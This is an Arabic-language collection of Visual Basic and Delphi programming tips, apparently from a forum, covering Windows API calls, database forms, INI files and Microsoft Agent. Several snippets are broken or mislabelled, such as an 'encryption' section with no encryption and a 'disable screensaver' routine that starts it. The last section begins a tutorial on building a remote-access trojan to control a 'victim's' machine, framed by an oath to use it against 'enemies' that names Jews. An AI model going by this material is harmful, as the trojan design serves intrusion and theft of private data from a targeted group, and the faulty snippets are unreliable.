End Sub 
....................................................................... 

كيفية إغلاق ويندوز من داخل البرنامج أو إعادة تشغيلها 
قد تحتاج في بعض البرامج أن تقوم بإعادة تشغيل ويندوز بعد قيام المستخدم بتعديل بعض الخيارات أو لدواع أمنية أو غير ذلك 

لعمل ذلك ألصق الأسطر التالية في قسم التعريفات من برنامجك 
Declare Function ExitWindowsEx Lib "user32" Alias _ 
"ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved _ 
As Long) As Long 
وفي المكان المناسب ، ضع السطر التالي و الذي يقوم بإغلاق ويندوز 
t& = ExitWindowsEx(EWX_REBOOT, 0) 

........................................................................ 
تحديد النص في صندوق النص ذاتياً 
تلاحظ في بعض البرامج عند انتقال التركيز من أداة ما على النافذة إلى صندوق نص يحتوي على نص فإنه يتم تحديد النص ذاتياً ، للحصول على ذلك في برنامجك قم بكتابة النص التالي في المكان المناسب ليتم تحديد النص. 
Text1.SelStart = 0 
Text1.SelLength = Len(Text1) 

......................................................................... 
إخفاء مؤشر الفأرة في تطبيق فيجوال بيسك 
تستطيع إخفاء مؤشر الفأرة في موضع معين من برنامجك باستخدام الدالة ShowCursor و التي يتم تعريفها في قسم التعريفات أعلى البرنامج لأنها من دوال واجهة برمجة التطبيقات API على النحو التالي : 

Private Declare Function ShowCursor Lib "user32" _ 
(ByVal bShow As Long) As Long 

ومن ثم تستطيع اخفاء المؤشر بتنفيذ الدالة بالشكل التالي 
x = ShowCursor(False) 

تستطيع إعادة إظهار المؤشر بتنفيذ الدالة بالشكل التالي 
x = ShowCursor(True) 
.......................................................................... 



هل يحتوي مشغل الأقراص المدمجة على قرص أم لا ؟؟ 
تستطيع من خلال إضافة السطور التالية إلى برنامجك تحديد ما إذا كان مشغل الأقراص المدمجة يحتوي على قرص أم لا. 
Dim FSO As FileSystemObject 
Dim aDrive As Drive 
Set FSO = New FileSystemObject 
For Each aDrive In FSO.Drives 
If aDrive.DriveType = CDRom And aDrive.IsReady = False Then 
MsgBox "لا يوجد قرص في المشغل" 
Exit For 
ElseIf aDrive.DriveType = CDRom Then 
MsgBox aDrive.VolumeName 
Exit For 
End If 
Next 
Set FSO = Nothing 

........................................................................ 
تحديد ما إذا كان تاريخان في نفس الشهر أم لا 
تستطيع أن تحدد في برنامجك ما إذا كان تاريخان مدخلان يقعان في نفس الشهر أم لا باستخدام الدالة DateDiff 

المثال التالي يوضح كيفية ذلك 
Date1 = "01/02/1999" 

Date2 = "15/02/1999" 

If DateDiff("m", Date1, Date2) Then 
MsgBox "التاريخان في شهرين مختلفين" 
Else 
MsgBox "التاريخان في نفس الشهر" 
End If 

........................................................................... 
تحديد دقة عرض الشاشة في جهاز المستخدم 
Dim x,y As Integer 
x = Screen.Width / 15 
y = Screen.Height / 15 
If x = 640 And y = 480 Then MsgBox ("640 * 480") 
If x = 800 And y = 600 Then MsgBox ("800 * 600") 
If x = 1024 And y = 768 Then MsgBox ("1024 * 768") 

.......................................................................... 
قد تحتاج في بعض البرامجك ان تقوم بعمل نسخة احتياطية في القرص مرن للقاعدة بيانات 
قم بوضع الكود التالي في الجنرال 
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long 

ومن ثم قم بوضع الكود التالي في مكان المناسب 
Dim g 
g = CopyFile("c:\db1.mdb", "a:\db1.mdb", True) 
........................................................................ 

كيفية تحريك النافذة عن طريق مؤشر الفأرة 
ضع الكود التالي في قس الجنرال 
Dim vX, vY 
Dim vM As Boolean 
اكتب الكود التالي في زر اوامر في حدث موس دون 
vX = X 
vY = Y 
vM = True 
ثم اضف الكود التالي في موس موفي 
Dim frmX, frmY 
frmX = Form1.Left + (X - vX) 
frmY = Form1.Top + (Y - vY) 
If vM = True Then 
Form1.Move frmX, frmY 
End If 
واخير اضف الكود التالي في زر اوامر عند حدث موس اب 
vM = False 
........................................................................ 
للتشفير وفك التشفير 
ضع هذا الكود في لود فورم 
SubClass (Me.HWnd 
وضع هذا الكود في ان لود فورم 
UnSubClass (Me.HWnd) 
.......................................................................... 
لعمل مؤثرات رسومية 
ضع هذا الكرد في قسم التعريفات 
Option Explicit 
'Remember to have AutoRedraw turned on for the form! 
Private mb_Filled As Boolean 'for when the form is re-sized 

Public Sub GradientForm_0(po_Form As Object, pl_Start As Long, pl_End As Long, pi_Orientation As Integer) 

Dim li_StartRed As Integer 
Dim li_StartGreen As Integer 
Dim li_StartBlue As Integer 
Dim li_EndRed As Integer 
Dim li_EndGreen As Integer 
Dim li_EndBlue As Integer 
Dim ld_DifR As Double 
Dim ld_DifG As Double 
Dim ld_DifB As Double 
Dim li_Counter As Integer 
Dim li_DrawWidth As Integer 

GetRGBComponents pl_Start, li_StartRed, li_StartGreen, li_StartBlue 
GetRGBComponents pl_End, li_EndRed, li_EndGreen, li_EndBlue 

ld_DifR = (li_EndRed - li_StartRed) / 255 
ld_DifG = (li_EndGreen - li_StartGreen) / 255 
ld_DifB = (li_EndBlue - li_StartBlue) / 255 

'Draw the gradient onto the form 
Select Case pi_Orientation 
Case 1 'horizontal gradient 
po_Form.Scale (0, 0)-(1, 256) 
For li_Counter = 0 To 255 
po_Form.Line (0, li_Counter)-(1, li_Counter + 1), _ 
RGB(CInt(li_StartRed + (ld_DifR * li_Counter)), _ 
CInt(li_StartGreen + (ld_DifG * li_Counter)), _ 
CInt(li_StartBlue + (ld_DifB * li_Counter))), BF 
Next li_Counter 
Case 2 'vertical gradient 
po_Form.Scale (0, 0)-(256, 1) 
For li_Counter = 0 To 255 
po_Form.Line (li_Counter, 0)-(li_Counter + 1, 1), _ 
RGB(CInt(li_StartRed + (ld_DifR * li_Counter)), _ 
CInt(li_StartGreen + (ld_DifG * li_Counter)), _ 
CInt(li_StartBlue + (ld_DifB * li_Counter))), BF 
Next li_Counter 
Case 3 'radial gradient 
po_Form.Scale (0, 0)-(256, 256) 
li_DrawWidth = po_Form.DrawWidth 
po_Form.DrawWidth = 3 
For li_Counter = 0 To 255 
po_Form.Circle (123, 123), li_Counter, _ 
RGB(CInt(li_StartRed + (ld_DifR * (li_Counter))), _ 
CInt(li_StartGreen + (ld_DifG * (li_Counter))), _ 
CInt(li_StartBlue + (ld_DifB * (li_Counter)))) 
Next li_Counter 
po_Form.DrawWidth = li_DrawWidth 
End Select 
po_Form.Scale 

End Sub 
Public Sub GetRGBComponents(ByVal pl_Colour As Long, pi_Red As Integer, pi_Green As Integer, pi_Blue As Integer) 

Dim ls_Colour As String 
Dim ls_Hex As String 

ls_Hex = CStr(Hex(pl_Colour)) 

If Len(ls_Hex) > 6 Then 
ls_Hex = Right(ls_Hex, 6) 
End If 

'Get Blue 
If Len(ls_Hex) > 4 Then 
ls_Colour = Left(ls_Hex, Len(ls_Hex) - 4) 
pi_Blue = Val("&h" & ls_Colour) 
ls_Hex = Right(ls_Hex, 4) 
End If 

'Get Green 
If Len(ls_Hex) > 2 Then 
ls_Colour = Left(ls_Hex, Len(ls_Hex) - 2) 
pi_Green = Val("&h" & ls_Colour) 
ls_Hex = Right(ls_Hex, 2) 
End If 

'Get Red 
pi_Red = Val("&h" & ls_Hex) 

End Sub 
ومن ثم ضع هذا الكود في زر اوامر 
GradientForm_0 Me, Text1, Text2, Combo1.Text 'or you could fill a picture box 
mb_Filled = True 
وهذا الكود في فورم لود 
Combo1 = "1" 
وهذا الكود في الفورم في حدث resize 
If mb_Filled Then GradientForm_0 Me, Text1, Text2, Combo1.Text 

ملاحظة قم بتدقيق بالادوات المستخدمة 
........................................................................ 
الايقاف عمل شاشة التوقف 
ضع هذا الكود في قسم الجنرال 
Option Explicit 
Private Const WM_SYSCOMMAND = &H112 
Private Const SC_SCREENSAVE = &HF140& 
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 
ومن ثم ضع هذا الكود في زر اوامر 
LaunchScreenSaver Me.hwnd 
ومن ثم ضع هذا الكود في اي مكان يعني في مكان فاضي 
Sub LaunchScreenSaver(pl_OwnerFormHwnd As Long) 
Call SendMessage(pl_OwnerFormHwnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&) 
End Sub 
........................................................................ 

كود لتشغيل جميع ملفات ملتميديا 
هذا الكود يشغل 
qt,mov, dat,snd, mpg, mpa, mpv, enc, m1v, mp2,mp3, mpe, mpeg, mpm au,snd, aif, aiff, aifc,wav,avi,mid,rmi,(and *.vob this format for dvd video)...etc 

ويمكن الوصول الى الكود فقط 
أضغط هنا 
.......................................................................... 
كود الايقاف البرنامج 
module to your project (In the menu choose Project -> Add Module, Then click Open)'Add 1 CommandButton to your form (named Command1),'And 1 TextBox.'When you will press the button the program will pause for 3 seconds.'To see the impact, immediately after pressing the button, press on the TextBox,'And you'll see that the TextBox cannot get the focus.'Insert this code to the module :Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)'Insert this code to your form:Private Sub Command1_Click()'Replace the 3000 with the number of milliseconds you want to pause'(1000 milliseconds=1 second)Sleep 3000End Sub 
......................................................................... 
كود لجعل نافذة فوق نافذة 
ضع هذا الكود في وحدة نمطية 
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long 
ومن ثم ضع هذا الكود في الفورم 
Dim vWindowPos As Long 
vWindowPos = SetWindowPos(Form1.hwnd, -1, 0, 0, 0, 0, 1 Or 2) 
........................................................................ 
كود لنبض الفورم 
ضع هذا الكود في قسم التصريحات 
Option Explicit 

Private Declare Function FlashWindow Lib "user32" (ByVal hwnd As Long, ByVal bInvert As Long) As Long 
Private mb_Flashing As Boolean 

ومن ثم ضع هذا الكود في زر اوامر 
mb_Flashing = Not mb_Flashing 
Timer1.Enabled = mb_Flashing 

If mb_Flashing = False Then 
Call FlashWindow(Me.hwnd, 0) 
End If 

ومن ثم ضع هذا الكود في الوقت 
Call FlashWindow(Me.hwnd, 1) 
..................................................................... 
كود لتحكم بزر ابدا 
procedure EnableStartButton; 
begin 
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil), true); 
end; 

procedure DisableStartButton; 
begin 
EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil), false); 
end; 



......................................................................... 
جميع اكواد في قاعدة بيانات وتحديثها 

اقدم لكم طريقة الإضافة والحذف وتحديث في VB باستخدام كل من الأداتين data control/ Adodc والطريقة كما يلي: 
- قم بتشغيل فيجوال بيسك واختيار Standar EXE . 
2 - أضف أحدا الأداتين data control أو Adodc وقم بربطها بقاعدة بيانات موجودة . 
3- أضف أربع أدوات من نوع CommandButton وقم بتنسيقها كما يلي : 
A : Name cmdAction , Caption &AddNwe index 0 
B : Name cmdAction , Caption &Cancel index 1 
C : Name cmdAction , Caption &Delete index 2 
D : Name cmdAction , Caption &Refresh index 3 
لاحظ إن جميع الأزرار تأخذ اسماً واحداً وذلك لتسهيل عملية كتابة النص(Code) ويعطى كلاً منها رقم Index يبدأ من صفر . 
بعد الانتهاء من إضافة أزرار الأمر 
قم بكتابة النص التالي في قسم التعريفات العامة : 
Option Explicit 
Private Enum FormMode 
fmAdd = True 
fmEdit = False 
End Enum 
وبعد ذلك قم بكتابة الكود التالي : 
Public Sub ADOAdd() 
On Error GoTo LocalErr 
' 
With Data1.Recordset 
If cmdAction(0).Caption = "&AddNew" Then 
.AddNew 

cmdAction(0).Caption = "&Save" 
setFormModeTo fmAdd 
Else 
.Update 
cmdAction(0).Caption = "&AddNew" 
setFormModeTo fmEdit 
End If 
End With 
Exit Sub 
LocalErr: 
MsgBox Err.Description, vbCritical, "Error: " & CStr(Err.Number) 
End Sub 
وبعد ذلك قم بكتابة الكود التالي : 
Public Sub ADOCancel() 
If MsgBox("Undo changes?", vbYesNo + vbQuestion, "Cancel Edits") = vbYes Then 
Data1.Refresh 
cmdAction(0).Caption = "&AddNew" 
setFormModeTo fmEdit 
End If 
' 
End Sub 
وبعد ذلك قم بكتابة الكود التالي : 
Public Sub ADOCancel() 
' 
If MsgBox("Undo changes?", vbYesNo + vbQuestion, "Cancel Edits") = vbYes Then 
Data1.Refresh 
cmdAction(0).Caption = "&AddNew" 
setFormModeTo fmEdit 
End If 
' 
End Sub 


وبعد ذلك قم بكتابة الكود التالي : 
Public Sub ADORefresh() 
' 
Data1.Refresh 
setFormModeTo fmEdit 
' 
End Sub 



وبعد ذلك قم بالنقر على اى زر من أزرار الامر نقراً مزدوجاً وأكتب الكود التالي 
Private Sub cmdAction_Click(Index As Integer) 
' 
With Data1 
Select Case Index 
Case 0: ADOAdd 
Case 1: ADOCancel 
Case 2: ADODelete 
Case 3: ADORefresh 
End Select 
End With 
' 
End Sub 
انتهينا 
......................................................................... 


طريقة التعامل مع ملفات التهيئة 


لتعامل مع ملفات التهيئة هناك مجموعة من الدوال ولفهم طريقة إستخدامها سنشرح وظيفة وتركيب ملفات التهيئة . ومن ملفات التهيئة المشهورة الملفان win.ini و system.ini الخاصان بويندوز ، وعادة ما يكون لكل برنامج ملف تهيئة خاصة به وامتداد ملفات التهيئة هو ini , ويتم بملفات التهيئة حفظ أعداداتك الخاصة بك التي قمت بها عند تشغيل برنامج معين فـقـد تلاحـظ عـنـد دخولك لبرنامج ما انة قد وضع آخر اربعة ملفات قمت بتشغيلها في قائمة ملف ( مثل الورد مثلا ) وكذلك يحفظ كل ما قمت بة من تغيرات لتجدها لم تتغير عند تشغيلة في المرة القادمة فما يقوم بة البرنامج هو حفظ الأعدادات التي قمت بها في ملف تهيئة خاص ، لتتم قرائة في المرة القادمة لتشغيلك البرنامج ووضع اعداداتك التي قمت بها . 

الشكل العام لملفات التهيئة : 

[Desktop] 
Wallpaper = (بلا) 
TileWallpaper = 1 
. 
. 
[windows] 
run= C:\Scan.exe 
load= 
BaseCodePage = 1256 

لاحظ أن ملف التهيئة يتكون من عدد من الآقسام وأسفل كل قسم عدد من المفاتيح وأمام كل مفتاح قيمتة ، مثلا القسم Desktop يحتوي على مفتاحين ، المفتاح TilrWallpaper قيمتة 1 ، وهذا حال كل ملفات التهيئة . 


الإجراء WritePrivateProfileString و يعلن عنة كالتالي : 

Public Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long 


وظيفتة : 

يستخدم للكتابة لملف التهيئة . 

المتغيرات : 

lpApplicationName وهو من النوع String وهو يمثل اسم القسم المراد الكتابة بة . 
lpKeyName وهو من النوع Any وهو يمثل اسم المفتاح . 
lpString وهو من النوع Any وهو يمثل القيمة التي تريد كتابتها. 
lpFileName وهو من النوع String وهم يمثل اسم ومسار ملف التهيئة . 

القيمة المعادة : 

الإجراء يعود بقيمة من النوع Long لاتساوي الصفر في حالة نجاحة ، أما إن فشل الإجراء في اداء المطلوب فسيعود بقيمة تساوي الصفر . 

ملاحظات : 

عندما تستخدم هذا الإجراء للكتابة إلى ملف تهيئة ، فهناك عدة أحتمالات كأن يكون الملف الذي حددتة غير موجود. في هذة الحالة سيقوم الإجراء بعمل ملف جديد يضع فية ما حددتة لة من قسم ومفتاح وقيمة . 
وأما إن كان الملف موجود ، فإنة يفتحة ويبحث عن القسم الذي حددتة ، فإذا لم يجدة فأنة ينشئة ويضع تحتة المفتاح والقيمة التي حددتهما لة . أما إذا وجد القسم فإنة يبحث عن المفتاح الذي حددتة ، فإذا لم يجدة فإنة ينشئة ويضع أمامة القيمة المحددة . أما إذا وجد المفتاح ، فإنة يستبدل القيمة الموجودة أمامة بالقيمة التي حددتها له . 

الإجراء GetPrivateProfileString و يعلن عنه كالتالي : 

Public Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long 

وظيفتة : 

يستخدم للقراءة من ملف التهيئة 

المتغيرات : 

lpApplicationName وهو من النوع String وهو يمثل اسم القسم المراد الكتابة بة . 
lpKeyName وهو من النوع Any وهو يمثل اسم المفتاح . 
lpDefault وهو من النوع String وهو يمثل القيمة الافتراضية التي يعود بها الإجراء إن لم يجد المفتاح المحدد . 
lpReturnedString وهم من النوع String وهو عبارة عن متغير حرفي يتم تخزين قيمة المفتاح المحدد بها أن وجدة الإجراء . 
nSize وهو من النوع Long وهو يمثل حجم المتغير الحرفي . 
lpFileName وهو من النوع String وهم يمثل اسم ومسار ملف التهيئة . 

القيمة المعادة : 

الإجراء يعود بقيمة من النوع Long لاتساوي الصفر في حالة نجاحة تمثل عدد حروف المتغير الذي قراءة ، أما إن فشل الإجراء في اداء المطلوب فسيعود بقيمة تساوي الصفر . 

ملاحظة 

هذاين الإجراء ين هما الأكثر استخداما مع ملفات التهيئة ، حيث ان الإجراءين WriteProfileString و GetProfileString فهما حاله خاصة من الإجراءين السابقين . فهما يؤديان نفس مهام الإجراءين السابقين ويتطلبان نفس المتغيرات ، ما عدا المتغير الأخير ( اسم ومسار ملف التهيئة ) حين أن هذين الإجراءين سيفترض أنة win.ini ، لذلك فهذا الإجراء يستخدم لتعامل مع الملف wini.ini فقط . 
.......................................................................... 
بعض مميزات مخفية في بيئة دلفي 
تشرح هذه الفقرة الصغيرة كيفية إنشاء مدخلات في قاعدة بيانات التسجيل Registry لنظام Windows لتغيير سلوك لوحة العناصر في دلفي 5 بالطريقة التي تناسبك. 

تذكّر أنه توجد العديد من الميزات المخفية في منتجات لغات البرمجة عادةً، ويكون المبرمج فرحاً باكتشافها، أما أسباب إخفائها فقد يكون لأنها وضعت في المنتج بعد طباعة دليل الاستخدام، أو أُغفل عنها، أو لعدم تأكد الشركة من جودتها بفحصها بشكل صحيح، أو من وجودها في النسخ اللاحقة للمنتج، ولهذا يتحمل المستخدم المسئولية كاملةً في استخدامها وما ينتج عنها، وليس على الشركة أو علينا أيّ مسئولية. 

تنبيه: قبل تعديل قاعدة بيانات التسجيل بأي شكل من الأشكال قم بعمل نسخة احتياطية منها.. إنتقل إلى فهرس النظام (غالباً C:\Windows) وانسخ منه الملفين user.dat وsystem.dat إلى مكان آمن. 

ملف قاعدة بيانات التسجيل Registry هو المفتاح: 

1- استخدم برنامج RegEdit لإجراء التعديلات على قاعدة بيانات التسجيل بعد - وفقط بعد - أخذ نسخة احتياطية من ملفاته. اطبع الكلمة RegEdit في شاشة حوار التشغيل Run من قائمة ابدأ Start، ثم اضغط Enter. 

2- انتقل إلى المفتاح HKEY_CURRENT_USER\Software\Borland\Delphi\5.0. 
- أضف مفتاح فرعي جديد باسم Extras. 

4- أضف إلى مفتاح Extras متغير حرفي جديد New String/Value باسم AutoPaletteSelect واجعل قيمته 1 لتمكين "الاختيار التلقائي في صفحة العناصر باستخدام الفأرة"، وغيّرها إلى صفر إذا رغبت في تعطيل هذه الميزة. 

5- أضف متغير حرفي آخر New String/Value باسم AutoPaletteScroll واجعل قيمته 1 لتمكين "الالتفاف التلقائي للصفحات في لوحة العناصر" والتي تسهل عليك اختيار العناصر غير الظاهرة لكثرتها (الله يزيد ويبارك) والتي تحتاج للعديد من النقرات بالفأرة، وطبعاً غيّرها إلى صفر إذا رغبت في تعطيل هذه الميزة. 

><><><><>><><><><><><><><><><><><><><><><><><><><><><><><><.,.,><>,.<.<.<.< 
والان سوف أقوم بشرح طريقة عمل مساعد أوفيس متحرك 
أظن أن تضمين مساعد أوفيس متحرك و متكلم في برنامجك راح يضفي عليه حيوية كبيرة... 
و هلق راح علمكن أحلى طريقة مشان تعمل مساعد أوفي ببرنامج الفيجوال بيسك... 
هلق ضمن بالنموذج هذه الأداة و عطيها اسم agent1 ، و ضمن صندوق و زر للقراءة و زر لإظهار المساعد و زر لإخفاء المساعد... 

في قسم التصريحات العام لكود النموذج، اكتب ما يلي: 
Dim Genie As IAgentCtlCharacter 

و الآن في نافذة كود النموذج... اكتب الكود التالي للحدث load 

Dim Filename 
Filename=App.Path+"genie.acs" 
ِAgent1.Characters.Load "Genie", Filename 
Set Genie=Agent1.Characters ("Genie") 

هذه العبارات تقوم بتحميل المساعد في الذاكرة، و لكنه لا يظهر أمامك مرئيا... و لاحظ أن المتغير Filename يحمل مسار وجود ملف المساعد، و الذي في مثالنا هذا يكون في المجلد الذي حفظت فيه مشروعك الجديد... 
و لاحظ أن اسم ملف المساعد هو genie.acs 
و لاحظ أن الإسم الذي يعترف عليه البرنامج لكي تخبره أنك تكتب الأمر الخاص بالمساعد هو اسم Genie الذي عرفناه في قسم التصريحات العام... 

الآن ... أكتب في كود الضغط على زر إظهار ما يلي: 
Genie.Show 
هذا الكود يظهر المساعد... 

و اكتب في كود الضغط على زر أخفاء ما يلي: 
Genie.Hide 

هذا الكود يخفي المساعد... 

و اكتب كود الضغط على زر القراءة ما يلي: 
Genie.Speak Text1.Text 

و هذا الكود يجعل المساعد يتكلم و ينطق ما هو موجود في صندوق النص... و لكن يجب أن تكون الكتابة بالإنجليزية فقط، لأنه لا يلفظ العربية... 
و يمكنك الأستعاضة عن Text1.Text بأي نص أو جملة تريدها كالتالي: 
Genie.Speak "Hi everybody" 

و الأن، أليك بعض الأكواد الخاصة بالمساعد: 
** لتحريك المساعد إلى مكان معين من الشاشة، اكتب الكود التالي: 

Genie.Moveto (200,100,1000) 

حيث 200 و 100 حي الإحداثيات السينية و العينية للشاشة و التي تريد الجني أن ينتقل لها. 
و 1000 هي السرعة التي تريد الجني أن ينتقل بها.. 
و يمكنك تغيير هذه القيم كما تشاء.. 


** لتجعل المساعد يقوم بحركات معينة، اكتب الكود التالي: 
Genie.Play "xxx" 

حيث xxx هي اسم الحركة... و أليك أسماء الحركات التي يقوم بها: 

يعترف Acknowledge 
ينبه Alert 
الحالة الحيادية قبل التنبيه Alertreturn 
يعلن Announce 
الحالة الحيادية قبل الإعلان Announcereturn 
يغمض عينيه Blink 
يحتار Confused 
الحالة الحيادية قبل الحيرة Confusedreturn 
يهنئ Congratulate 
الحالة الحيادية قبل التهنئة Congratulatereturn 
يتحسر Decline 
الحالة الحيادية قبل التحسر Declinereturn 
يتجاهل Dontrecognize 
الحالة الحيادية قبل التجاهل Dontrecognizereturn 
يشرح Explain 
الحالة الحيادية قبل الشرح Explainreturn 
يشير للأسفل Gesturedown 
الحالة الحيادية قبل الإشارة للأسفل Gesturedownreturn 
يشير للأعلى Gestureup 
الحالة الحيادية قبل الإشارة للأعلى Gestureupreturn 
يشير لليمين Gestureright 
الحالة الحيادية قبل الإشارة لليمين Gesturerightreturn 
يشير لليسار Gestureleft 
الحالة الحيادية قبل الإشارة لليسار Guestureleftreturn 
يلفت انتباه Getattention 
الحالة الحيادية قبل لفت الإنتباه Getattentionreturn 
يلمح للأسفل Glancedown 
يلمح لليسار Glanceleft 
يلمح لليمين Glanceright 
يلمح للأعلى Glanceup 
يحيي Greet 
الحالة الحيادية قبل التحية Greetreturn 

يصغي 
Hear-1 
Hear-2 
Hera-3 
Hear-4 

يتسكع 
Idle1-1 
Idle1-2 
Idle1-3 
Idle1-4 
Idle1-5 
idle1-6 
Idle2-1 
Idle2-2 
Idle2-3 

بتثائب Idle3-2 
بتظاهر بالنوم Idle3-1 
ينظر للأسفل Lookdown 
ينظر للأسفل و يغمز Lookdownblink 
الحالة الحيادية قبل النظر للأسفل Lookdownreturn 
ينظر للأعلى Lookup 
ينظر للأعلىو يغمز Lookupblink 
الحالة الحيادية قبل النظر للأعلى Lookupreturn 
ينظر لليمين Lookright 
ينظر لليمين و يغمز Lookrightreturn 
الحالة الحيادية قبل النظر لليمين Lookrightreturn 
ينظر لليسار Lookleft 
ينظر لليسار و يغمز Lookleftblink 
الحالة الحيادية قبل النظر لليسار Lookleftreturn 
يبتهج Pleased 
الحالة الحيادية قبل الإبتهاج Pleasedreturn 
يدور بسرعة Processing 
الحالة الحيادية قبل الدوران Processingreturn 
يقرأ Read 
يقرأ و ينظر للأعلى Readcontinued 
الحالة الحيادية للقراءة Readingreturn 
يرتاح Resetpose 
يحزن Sad 
الحالة الحيادية قبل الحزن Sadreturn 
يبحث بمنظار البحثing 
الحالة الحيادية قبل البحث البحثingreturn 
يصغي Startlistening 
الحالة الحيادية قبل الإصغاء Startlisteningreturn 
يضع يده على أذنيه Stoplistening 
الحالة الحيادية قبل وضع يده على أذنيه Stoplisteningreturn 
يقترح Suggest 
الحالة الحيادية قبل الإقتراح Suggestreturn 
يندهش Surprised 
يفكر Think 
الحالة الحيادية قبل التفكير Thinkreturn 
يشك Uncertain 
الحالة الحيادية قبل الشك Uncertainreturn 
يلوح Wave 
الحالة الحيادية قبل التلويح Wavereturn 
يكتب Write 
يكتب و ينظر للأعلى Writecontinued 
الحالة الحيادية قبل الكتابة Writereturn 


ملاحظات: 
* لاحظ أنني استخدمت عبارة (الحالة الحيادية قبل كذا) و أقصد فيها العملية العكسية... يعني عندما تأمره بالقراءة، فأنه يفتح الكتاب و يقرأ... أما الحالة الحيادية قبل القراءة، فتجعله يغلق الكتاب و يعود لحالته الأصلية.. 
* لاحظ أنني في بعض الحركات كالتسكع كتبت أكثر من أمر، حيث كل واحد يقوم بحركة تسكع معينة... 
* إذا لم تقم بأمر المساعد لفترة معينة، فأنه يقوم بحركات عشوائيى بشكل تلقائي، كأن يكتب أو يغمز أو يقرا.... 




........................................................................\ 

ولان سوف نقوم ببرمجة برامج الاختراق مثل برامج السب السفن 
......................................................................... 

اولا قم بقراءة الاسطر التالية : 
"أقسم بالله العظيم أن لا أستخدمها ضد المسلمين أو أي صديق ألا مع الاعداء والله على ما أقول شهيد " وانا أذا سمعت أن أحد أستخدمها والله لن أتردد عن حذف هذه تعلم لاني أكون مسؤول عن أي ضرر يوقع للمسلمين وسوف أتحاسب عند الله واماكن اليهود كثيرة قال تعالى "لن ترضى عنكم اليهود ونصارى حتى تدخلوا ملتهم" 



كيفية تصميم برنامج أختراق


..............سوف نتحدث إن شاء الله عن فكرة برمجة برامج الاختراق الشهيرة وكيف تتم برمجتها وتشغيلها ثم سوف نقوم بعمل برنامج بالفيجوال بيسك وذلك لتوضيح الموضوع واستيعابه بشكل أفضل.... 

حسناً . . لنبدأ الآن بشرح تفاصيل الموضوع وعلى بركة الله: 

تتكون هذه البرامج كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم 

1- 

كيفية الاتصال بين الملفين عبر الانترنت 

يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip 



حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية 



بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت 



أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً 

وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل 

عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت 



في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل 

هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع 



2-خطوات عمل برنامج بالفيجوال بيسك للتجسس . 

برنامج العميل 

كما ذكرنا بخصوص العميل فهو الذي يتحكم بالعملية كلها وهو الذي يرسل الأوامر للبرنامج الخادم وسوف نقوم الآن بشرح خطوات تنفيذ برنامج عميل 



الخطوة الأولى : معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم وإجراء الاتصال 



الخطوة الثانية : ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين 



الخطوة الثالثة : يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة . 



برنامج الخادم 



يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه وإذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين ويبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل. 

سنقوم الآن بتصميم برنامج صغير لتوضيح فكرة إرسال الأوامر إلى البرنامج الخادم واستقبال البرنامج الخادم لهذه الأوامر وتنفيذها 



البرنامج كما ذكرنا سابقا يتكون من جزئين برنامج عميل وبرنامج خادم 



..................... 

تصميم البرنامج العميل 

أولا . . يتم إدراج أداة MS WINSOCK للمشروع ويتم تغيير اسم الأداة إلى wskclient 



ثانياً . . يتم إدراج TIMER 



ثالثاً . . يتم وضع أزارير لعملية الاتصال وقطع الاتصال 



رابعاً . . يتم ادراج 2 مربع نص لكتابة رقم الايبي ورقم المنفذ srvrip.Text srvrport.Text 



خامساً . . يتم وضع أزارير للأوامر المراد إرسالها للبرنامج الخادم 

كتابة شيفرة ( كود ) البرنامج العميل [Client] 



